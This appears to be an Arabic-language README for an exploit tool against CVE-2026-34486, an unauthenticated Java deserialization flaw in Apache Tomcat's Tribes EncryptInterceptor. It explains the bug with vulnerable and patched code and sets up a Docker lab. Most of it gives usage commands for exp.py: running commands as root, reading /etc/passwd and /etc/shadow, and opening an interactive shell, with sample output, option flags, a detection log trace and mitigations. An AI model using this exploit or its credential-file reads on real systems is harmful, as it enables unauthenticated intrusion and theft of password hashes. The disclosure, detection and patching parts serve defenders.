
استغلال لتجاوز Apache Tomcat EncryptInterceptor المؤدي إلى تنفيذ أوامر عن بُعد غير مصادق عليه عبر إلغاء تسلسل Java على المنفذ 4000. يتضمن إعداد بيئة مختبرية، وصدفة تفاعلية، وإرشادات للكشف.
| الحقل | المعلومات |
|---|---|
| معرّف CVE | CVE-2026-34486 |
| درجة CVSS | 7.5 (عالية) |
| المكوّن | Apache Tomcat Tribes EncryptInterceptor |
| الإصدارات المتأثرة | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| الإصدارات المُصحّحة | 9.0.117 / 10.1.54 / 11.0.21 |
| نوع الثغرة | تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه عبر إلغاء التسلسل |
| ناقل الهجوم | شبكة / بدون مصادقة / تعقيد منخفض |
| منفذ الهجوم | TCP 4000 (Tribes NioReceiver) |
تستخدم ميزة التجميع في Apache Tomcat إطار عمل Tribes لمزامنة بيانات الجلسة بين عُقد المجموعة، وتستمع على منفذ TCP 4000 افتراضيًا.
عند تمكين EncryptInterceptor (AES/CBC)، يوجد الخلل المنطقي التالي:
// EncryptInterceptor.java — vulnerable version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// process decrypted message...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // only logs the error
}
super.messageReceived(msg); // ← BUG: raw bytes forwarded even after decryption failure
}
كتلة catch تسجّل الخطأ فقط. وبما أن super.messageReceived(msg) تقع خارج try-catch، يتم تمرير البايتات الخام غير المشفّرة إلى XByteBuffer.deserialize() → ObjectInputStream.readObject().
يمكن للمهاجم إرسال حمولة إلغاء تسلسل مصمّمة خصيصًا لتشغيل RCE دون أي مصادقة.
Attacker ──TCP:4000──► NioReceiver (no auth)
│
EncryptInterceptor.messageReceived()
try { AES/CBC decrypt → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← only log trace
super.messageReceived(msg) ← BUG: raw bytes pass through
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← deserialization triggered
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → RCE as root 🔴
ينقل الإصلاح super.messageReceived(msg) داخل كتلة try، بحيث يؤدي أي فشل في فك التشفير إلى تجاهل الرسالة بصمت (فشل-إغلاق).
// EncryptInterceptor.java — patched version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// process...
super.messageReceived(msg); // ← FIXED: only reached if decryption succeeds
} catch (Exception e) {
log.error("Failed to decrypt message", e); // message is discarded
}
}
java و javac في PATH)ysoserial-all.jarapache-tomcat-9.0.116 (لمكتبة Tribes)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Verify
curl http://localhost:8080
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target IP الهدف (الافتراضي: 127.0.0.1)
-p, --port منفذ Tribes (الافتراضي: 4000)
--http-port منفذ HTTP لاسترجاع الإخراج (الافتراضي: 8080)
-c, --command تنفيذ أمر مباشرة (بدون ميزات الصدفة)
--rce تنفيذ أمر واسترجاع الإخراج عبر HTTP
--shell وضع الصدفة التفاعلية
-g, --gadget سلسلة الأدوات (الافتراضي: CommonsCollections6)
--ysoserial مسار ملف ysoserial jar
--tomcat-lib مسار دليل مكتبات Tomcat
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Target : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
الأثر الوحيد في السجلات الذي يتركه الهجوم:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
لا يتم تسجيل أي استثناء readObject — يتم تنفيذ الأمر بصمت.
| الإجراء | الأولوية |
|---|---|
| الترقية إلى Tomcat 9.0.117 / 10.1.54 / 11.0.21 | حرجة |
| تقييد المنفذ 4000 على عناوين IP الموثوقة للمجموعة فقط | عالية |
مراقبة السجلات بحثًا عن تكرار رسائل Failed to decrypt message | متوسطة |
| تعطيل تجميع Tribes إذا لم يكن مطلوبًا | عالية |
هذا المشروع مخصص لأغراض البحث الأمني المصرّح به واختبار الاختراق والتعليم فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
MIT License © 2026 404-src